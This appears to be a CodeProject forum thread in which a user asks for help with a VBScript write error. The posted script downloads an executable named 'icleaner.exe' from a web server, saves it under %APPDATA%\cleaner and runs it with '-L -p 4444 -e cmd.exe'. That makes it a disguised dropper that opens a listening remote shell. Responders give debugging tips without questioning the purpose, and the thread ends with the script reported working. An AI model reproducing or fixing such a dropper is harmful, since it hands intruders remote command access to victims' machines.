Click here to Skip to main content
15,887,214 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Grettings Viewers

Can somone help me fix this VBScript write error, I am trying to make a vbscript that download file to windows variable directory %Tmp%, each time i run the vbscript, I get write to file failed. I have been trying to work arounf this but not getting it right. I have attched my vbscript code below for review.

What I have tried:

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")

set shell_obj = CreateObject("WScript.Shell")
Dim objWShell
Set objWShell = WScript.CreateObject("WScript.Shell")
Dim appData
appData = objWShell.expandEnvironmentStrings("%APPDATA%")
APPPATH = appData + ("\cleaner\")

URL = "http://webserer.com/icleaner.exe" 'Where to download the file from
FILENAME = "icleaner.exe" 'Name to save the file (on the local system)
RUNCMD = APPPATH + "icleaner.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile APPPATH + FILENAME, 2
shell_obj.run RUNCMD
stream_obj.close


I will appreciate any assistance about this.

Thank you.
Posted
Updated 17-Feb-20 9:38am
Comments
Richard MacCutchan 17-Feb-20 9:02am    
Have you verified that your APPPATH location exists and is writable?

As has been brought up in your other questions; you need to DEBUG this code to determine why you are getting this error.

What response are you getting when you try to fetch that URL? Is it 200/OK? Is there a content body to actually read?

Or, is there a permission problem trying to write the file?
 
Share this answer
 
Comments
cHl Security 17-Feb-20 8:12am    
With my limit in VBscripiting I actually cant tell whats wrong but I am trying download the file to windows variable path
MadMyche 17-Feb-20 9:15am    
We cannot remotely troubleshoot your problems- are you sure the file is downloaded? If not, why? If it is downloaded, then the "why" becomes a problem writing the file.
Does the path %APPDATA%\cleaner already exist on the machine? If not, this code is going to fail because it will not create the "cleaner" folder if it doesn't exist.
 
Share this answer
 
Comments
cHl Security 17-Feb-20 12:57pm    
Yes It exist I have a scripts that runs before this that creates the folder and I confirmed its available or does folder visibility attribut affects it?
Dave Kreskowiak 17-Feb-20 14:03pm    
The folder attributes do not affect whether the path exists or not.
Fortunately. When I set the folder attribute to be visible. It solved the problem.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900